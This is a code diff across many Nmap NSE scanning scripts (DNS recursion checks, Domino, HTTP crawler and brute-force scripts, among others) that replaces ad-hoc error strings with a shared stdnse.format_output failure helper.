local nmap = require "nmap"
|
local nmap = require "nmap"
|
||||||
local shortport = require "shortport"
|
local shortport = require "shortport"
|
||||||
local string = require "string"
|
local string = require "string"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Checks a DNS server for the predictable-port recursion vulnerability.
|
Checks a DNS server for the predictable-port recursion vulnerability.
|
||||||
@@ -43,6 +44,8 @@ categories = {"external", "intrusive"}
|
|||||||
|
|
||||||
portrule = shortport.portnumber(53, "udp")
|
portrule = shortport.portnumber(53, "udp")
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- TXID: 0xbeef
|
-- TXID: 0xbeef
|
||||||
@@ -75,11 +78,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- Fail gracefully
|
-- Fail gracefully
|
||||||
if not status then
|
if not status then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail(result)
|
||||||
return "ERROR: TIMEOUT"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Update the port
|
-- Update the port
|
||||||
@@ -89,40 +88,24 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- We need a minimum of 5 bytes...
|
-- We need a minimum of 5 bytes...
|
||||||
if (#result < 5) then
|
if (#result < 5) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Malformed response")
|
||||||
return "ERROR: Malformed response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check TXID
|
-- Check TXID
|
||||||
if (string.byte(result, 1) ~= 0xbe
|
if (string.byte(result, 1) ~= 0xbe
|
||||||
or string.byte(result, 2) ~= 0xef) then
|
or string.byte(result, 2) ~= 0xef) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Invalid Transaction ID")
|
||||||
return "ERROR: Invalid Transaction ID"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check response flag and recursion
|
-- Check response flag and recursion
|
||||||
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
||||||
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
return fail("Server refused recursion")
|
||||||
return "ERROR: Server refused recursion"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check error flag
|
-- Check error flag
|
||||||
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
return fail("Server failure")
|
||||||
return "ERROR: Server failure"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for two Answer RRs and 1 Authority RR
|
-- Check for two Answer RRs and 1 Authority RR
|
||||||
@@ -130,20 +113,12 @@ action = function(host, port)
|
|||||||
or string.byte(result, 6) ~= 0x01
|
or string.byte(result, 6) ~= 0x01
|
||||||
or string.byte(result, 7) ~= 0x00
|
or string.byte(result, 7) ~= 0x00
|
||||||
or string.byte(result, 8) ~= 0x02) then
|
or string.byte(result, 8) ~= 0x02) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Response did not include expected answers")
|
||||||
return "ERROR: Response did not include expected answers"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We need a minimum of 128 bytes...
|
-- We need a minimum of 128 bytes...
|
||||||
if (#result < 128) then
|
if (#result < 128) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Truncated response")
|
||||||
return "ERROR: Truncated response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here is the really fragile part. If the DNS response changes
|
-- Here is the really fragile part. If the DNS response changes
|
||||||
@@ -155,21 +130,13 @@ action = function(host, port)
|
|||||||
if (string.byte(result, 118) ~= 0x00
|
if (string.byte(result, 118) ~= 0x00
|
||||||
or string.byte(result, 119) ~= 0x10)
|
or string.byte(result, 119) ~= 0x10)
|
||||||
then
|
then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Answer record not of type TXT")
|
||||||
return "ERROR: Answer record not of type TXT"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for IN
|
-- Check for IN
|
||||||
if (string.byte(result, 120) ~= 0x00
|
if (string.byte(result, 120) ~= 0x00
|
||||||
or string.byte(result, 121) ~= 0x01) then
|
or string.byte(result, 121) ~= 0x01) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Answer record not of type IN")
|
||||||
return "ERROR: Answer record not of type IN"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get TXT length
|
-- Get TXT length
|
||||||
@@ -177,11 +144,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- We now need a minimum of 128 + txtlen bytes + 1...
|
-- We now need a minimum of 128 + txtlen bytes + 1...
|
||||||
if (#result < 128 + txtlen) then
|
if (#result < 128 + txtlen) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Truncated response")
|
||||||
return "ERROR: Truncated response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- GET TXT record
|
-- GET TXT record
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ local comm = require "comm"
|
|||||||
local nmap = require "nmap"
|
local nmap = require "nmap"
|
||||||
local shortport = require "shortport"
|
local shortport = require "shortport"
|
||||||
local string = require "string"
|
local string = require "string"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Checks a DNS server for the predictable-TXID DNS recursion
|
Checks a DNS server for the predictable-TXID DNS recursion
|
||||||
@@ -43,6 +44,8 @@ categories = {"external", "intrusive"}
|
|||||||
|
|
||||||
portrule = shortport.portnumber(53, "udp")
|
portrule = shortport.portnumber(53, "udp")
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- TXID: 0xbabe
|
-- TXID: 0xbabe
|
||||||
@@ -75,11 +78,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- Fail gracefully
|
-- Fail gracefully
|
||||||
if not status then
|
if not status then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail(result)
|
||||||
return "ERROR: TIMEOUT"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Update the port
|
-- Update the port
|
||||||
@@ -89,40 +88,24 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- We need a minimum of 5 bytes...
|
-- We need a minimum of 5 bytes...
|
||||||
if (#result < 5) then
|
if (#result < 5) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Malformed response")
|
||||||
return "ERROR: Malformed response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check TXID
|
-- Check TXID
|
||||||
if (string.byte(result, 1) ~= 0xba
|
if (string.byte(result, 1) ~= 0xba
|
||||||
or string.byte(result, 2) ~= 0xbe) then
|
or string.byte(result, 2) ~= 0xbe) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Invalid Transaction ID")
|
||||||
return "ERROR: Invalid Transaction ID"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check response flag and recursion
|
-- Check response flag and recursion
|
||||||
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
||||||
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
return fail("Server refused recursion")
|
||||||
return "ERROR: Server refused recursion"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check error flag
|
-- Check error flag
|
||||||
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
return fail("Server failure")
|
||||||
return "ERROR: Server failure"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for two Answer RRs and 1 Authority RR
|
-- Check for two Answer RRs and 1 Authority RR
|
||||||
@@ -130,20 +113,12 @@ action = function(host, port)
|
|||||||
or string.byte(result, 6) ~= 0x01
|
or string.byte(result, 6) ~= 0x01
|
||||||
or string.byte(result, 7) ~= 0x00
|
or string.byte(result, 7) ~= 0x00
|
||||||
or string.byte(result, 8) ~= 0x02) then
|
or string.byte(result, 8) ~= 0x02) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Response did not include expected answers")
|
||||||
return "ERROR: Response did not include expected answers"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We need a minimum of 128 bytes...
|
-- We need a minimum of 128 bytes...
|
||||||
if (#result < 128) then
|
if (#result < 128) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Truncated response")
|
||||||
return "ERROR: Truncated response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here is the really fragile part. If the DNS response changes
|
-- Here is the really fragile part. If the DNS response changes
|
||||||
@@ -155,21 +130,13 @@ action = function(host, port)
|
|||||||
if (string.byte(result, 118) ~= 0x00
|
if (string.byte(result, 118) ~= 0x00
|
||||||
or string.byte(result, 119) ~= 0x10)
|
or string.byte(result, 119) ~= 0x10)
|
||||||
then
|
then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Answer record not of type TXT")
|
||||||
return "ERROR: Answer record not of type TXT"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for IN
|
-- Check for IN
|
||||||
if (string.byte(result, 120) ~= 0x00
|
if (string.byte(result, 120) ~= 0x00
|
||||||
or string.byte(result, 121) ~= 0x01) then
|
or string.byte(result, 121) ~= 0x01) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Answer record not of type IN")
|
||||||
return "ERROR: Answer record not of type IN"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get TXT length
|
-- Get TXT length
|
||||||
@@ -177,11 +144,7 @@ action = function(host, port)
|
|||||||
|
|
||||||
-- We now need a minimum of 128 + txtlen bytes + 1...
|
-- We now need a minimum of 128 + txtlen bytes + 1...
|
||||||
if (#result < 128 + txtlen) then
|
if (#result < 128 + txtlen) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
return fail("Truncated response")
|
||||||
return "ERROR: Truncated response"
|
|
||||||
else
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
-- GET TXT record
|
-- GET TXT record
|
||||||
|
|||||||
@@ -81,8 +81,6 @@ local function parseSvcList(services)
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|
||||||
|
|
||||||
local function parseSrvResponse(resp)
|
local function parseSrvResponse(resp)
|
||||||
local i = 1
|
local i = 1
|
||||||
if ( resp.answers ) then
|
if ( resp.answers ) then
|
||||||
@@ -153,7 +151,7 @@ action = function(host)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if ( not(checkFilter(services)) ) then
|
if ( not(checkFilter(services)) ) then
|
||||||
return fail(("Invalid filter (%s) was supplied"):format(arg_filter))
|
return stdnse.format_output(false, ("Invalid filter (%s) was supplied"):format(arg_filter))
|
||||||
end
|
end
|
||||||
|
|
||||||
local threads, result = {}, {}
|
local threads, result = {}, {}
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ action = function(host, port)
|
|||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
elseif ( err ) then
|
elseif ( err ) then
|
||||||
return "\n ERROR: " .. err
|
return stdnse.format_output(false, err)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -96,6 +96,8 @@ local function readAPIBlock( socket )
|
|||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
@@ -104,9 +106,9 @@ action = function(host, port)
|
|||||||
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
local pass = stdnse.get_script_args('domcon-cmd.pass')
|
||||||
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
|
||||||
|
|
||||||
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
|
if( not(cmd) ) then return fail("No command supplied (see domcon-cmd.cmd)") end
|
||||||
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
|
if( not(user)) then return fail("No username supplied (see domcon-cmd.user)") end
|
||||||
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
|
if( not(pass)) then return fail("No password supplied (see domcon-cmd.pass)") end
|
||||||
|
|
||||||
cmds = stdnse.strsplit(";%s*", cmd)
|
cmds = stdnse.strsplit(";%s*", cmd)
|
||||||
|
|
||||||
@@ -128,7 +130,7 @@ action = function(host, port)
|
|||||||
result_part.name = cmds[i]
|
result_part.name = cmds[i]
|
||||||
table.insert( result, result_part )
|
table.insert( result, result_part )
|
||||||
else
|
else
|
||||||
return " \n ERROR: " .. result_part
|
return fail(result_part)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
local giop = require "giop"
|
local giop = require "giop"
|
||||||
local shortport = require "shortport"
|
local shortport = require "shortport"
|
||||||
|
local stdnse = require "stdnse"
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Queries a CORBA naming server for a list of objects.
|
Queries a CORBA naming server for a list of objects.
|
||||||
@@ -57,6 +58,7 @@ local fmt_meta = {
|
|||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = giop.Helper:new( host, port )
|
local helper = giop.Helper:new( host, port )
|
||||||
@@ -66,10 +68,10 @@ action = function(host, port)
|
|||||||
if ( not(status) ) then return err end
|
if ( not(status) ) then return err end
|
||||||
|
|
||||||
status, ctx = helper:GetNamingContext()
|
status, ctx = helper:GetNamingContext()
|
||||||
if ( not(status) ) then return " \n ERROR: " .. ctx end
|
if ( not(status) ) then return fail(ctx) end
|
||||||
|
|
||||||
status, objs = helper:ListObjects(ctx)
|
status, objs = helper:ListObjects(ctx)
|
||||||
if ( not(status) ) then return " \n ERROR: " .. objs end
|
if ( not(status) ) then return fail(objs) end
|
||||||
|
|
||||||
for _, obj in ipairs( objs ) do
|
for _, obj in ipairs( objs ) do
|
||||||
setmetatable(obj, fmt_meta)
|
setmetatable(obj, fmt_meta)
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
|
portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
local long_names = {
|
local long_names = {
|
||||||
["fs_mounts"] = "Mounts",
|
["fs_mounts"] = "Mounts",
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ local function hasAllData(gpsinfo)
|
|||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
|
|||||||
@@ -78,7 +78,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -100,7 +100,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -127,7 +127,7 @@ action = function( host, port )
|
|||||||
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
||||||
|
|
||||||
if ( not(path) ) then
|
if ( not(path) ) then
|
||||||
return " \n ERROR: No path was specified (see http-brute.path)"
|
return stdnse.format_output(false, "No path was specified (see http-brute.path)")
|
||||||
end
|
end
|
||||||
|
|
||||||
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
||||||
|
|||||||
@@ -42,7 +42,7 @@ action = function(host, port)
|
|||||||
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
local ac = anyconnect.Cisco.AnyConnect:new(host, port)
|
||||||
local status, err = ac:connect()
|
local status, err = ac:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return stdnse.format_output(false, err)
|
||||||
else
|
else
|
||||||
local o = stdnse.output_table()
|
local o = stdnse.output_table()
|
||||||
local xmltags = { 'version', 'tunnel-group', 'group-alias',
|
local xmltags = { 'version', 'tunnel-group', 'group-alias',
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -115,7 +115,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -258,7 +258,8 @@ action = function(host, port)
|
|||||||
-- Nuclear launch detected!
|
-- Nuclear launch detected!
|
||||||
results = http.pipeline_go(host, port, requests, nil)
|
results = http.pipeline_go(host, port, requests, nil)
|
||||||
if results == nil then
|
if results == nil then
|
||||||
return "[ERROR] HTTP request table is empty. This should not happen since we at least made one request."
|
return stdnse.format_output(false,
|
||||||
|
"HTTP request table is empty. This should not happen since we at least made one request.")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Record 404 response, later it will be used to determine if page exists
|
-- Record 404 response, later it will be used to determine if page exists
|
||||||
|
|||||||
@@ -117,7 +117,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -207,6 +207,7 @@ local function saveIDFile( filename, data )
|
|||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
@@ -226,7 +227,7 @@ action = function(host, port)
|
|||||||
-- A user was provided, attempt to authenticate
|
-- A user was provided, attempt to authenticate
|
||||||
if ( user ) then
|
if ( user ) then
|
||||||
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
|
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
|
||||||
return " \n ERROR: The provided credentials where invalid"
|
return fail("The provided credentials were invalid")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
@@ -240,7 +241,7 @@ action = function(host, port)
|
|||||||
end
|
end
|
||||||
if not pass then
|
if not pass then
|
||||||
local msg = has_creds and "No valid credentials were found" or "No credentials supplied"
|
local msg = has_creds and "No valid credentials were found" or "No credentials supplied"
|
||||||
return string.format(" \n ERROR: %s (see domino-enum-passwords.username and domino-enum-passwords.password)", msg)
|
return fail(("%s (see domino-enum-passwords.username and domino-enum-passwords.password)"):format(msg))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -253,9 +254,9 @@ action = function(host, port)
|
|||||||
if ( not(pager) ) then
|
if ( not(pager) ) then
|
||||||
if ( http_response.body and
|
if ( http_response.body and
|
||||||
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
|
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
|
||||||
return " \n ERROR: Failed to authenticate"
|
return fail("Failed to authenticate")
|
||||||
else
|
else
|
||||||
return " \n ERROR: Failed to process results"
|
return fail("Failed to process results")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
pos = 1
|
pos = 1
|
||||||
|
|||||||
@@ -91,7 +91,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -106,7 +106,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if (not(status)) then
|
if (not(status)) then
|
||||||
if (r.err) then
|
if (r.err) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -133,7 +133,7 @@ local function fetch_recursively(host, port, url, destination, patterns, output)
|
|||||||
local status, r = crawler:crawl()
|
local status, r = crawler:crawl()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -237,7 +237,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -53,6 +53,8 @@ local function build_qry(apikey, url)
|
|||||||
return string.format("https://sb-ssl.google.com/safebrowsing/api/lookup?client=%s&apikey=%s&appver=1.5.2&pver=3.0&url=%s", SCRIPT_NAME, apikey, url)
|
return string.format("https://sb-ssl.google.com/safebrowsing/api/lookup?client=%s&apikey=%s&appver=1.5.2&pver=3.0&url=%s", SCRIPT_NAME, apikey, url)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
---
|
---
|
||||||
--MAIN
|
--MAIN
|
||||||
---
|
---
|
||||||
@@ -72,8 +74,7 @@ action = function(host, port)
|
|||||||
local target_url = stdnse.get_script_args("http-google-malware.url") or string.format("%s://%s", port.service, target)
|
local target_url = stdnse.get_script_args("http-google-malware.url") or string.format("%s://%s", port.service, target)
|
||||||
|
|
||||||
if string.len(apikey) < 25 then
|
if string.len(apikey) < 25 then
|
||||||
return string.format("[ERROR] No API key found. Update the variable APIKEY in %s or set it in the argument %s.api",
|
return fail(("No API key found. Use the %s.api argument"):format(SCRIPT_NAME))
|
||||||
SCRIPT_NAME, SCRIPT_NAME)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
stdnse.debug1("Checking host %s", target_url)
|
stdnse.debug1("Checking host %s", target_url)
|
||||||
@@ -82,7 +83,7 @@ action = function(host, port)
|
|||||||
stdnse.debug2("%s", qry)
|
stdnse.debug2("%s", qry)
|
||||||
|
|
||||||
if ( req.status > 400 ) then
|
if ( req.status > 400 ) then
|
||||||
return "[ERROR] Request failed (invalid API key?)"
|
return fail("Request failed (invalid API key?)")
|
||||||
end
|
end
|
||||||
|
|
||||||
--The Safe Lookup API responds with a type when site is on the lists
|
--The Safe Lookup API responds with a type when site is on the lists
|
||||||
|
|||||||
@@ -259,7 +259,7 @@ action = function(host, port)
|
|||||||
-- most of them are "legitimate" and should not be reason to abort
|
-- most of them are "legitimate" and should not be reason to abort
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
if ( r.err ) then
|
if ( r.err ) then
|
||||||
return stdnse.format_output(true, "ERROR: %s", r.reason)
|
return stdnse.format_output(false, r.reason)
|
||||||
else
|
else
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -33,6 +33,8 @@ categories = {"discovery", "safe"}
|
|||||||
|
|
||||||
portrule = shortport.http
|
portrule = shortport.http
|
||||||
|
|
||||||
|
local function fail (err) return stdnse.format_output(false, err) end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
|
local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
|
||||||
local useget = stdnse.get_script_args(SCRIPT_NAME..".useget")
|
local useget = stdnse.get_script_args(SCRIPT_NAME..".useget")
|
||||||
@@ -54,19 +56,11 @@ action = function(host, port)
|
|||||||
end
|
end
|
||||||
|
|
||||||
if(result == nil) then
|
if(result == nil) then
|
||||||
if(nmap.debugging() > 0) then
|
return fail("Header request failed")
|
||||||
return "ERROR: Header request failed"
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if(result.rawheader == nil) then
|
if(result.rawheader == nil) then
|
||||||
if(nmap.debugging() > 0) then
|
return fail("Header request didn't return a proper header")
|
||||||
return "ERROR: Header request didn't return a proper header"
|
|
||||||
else
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
|
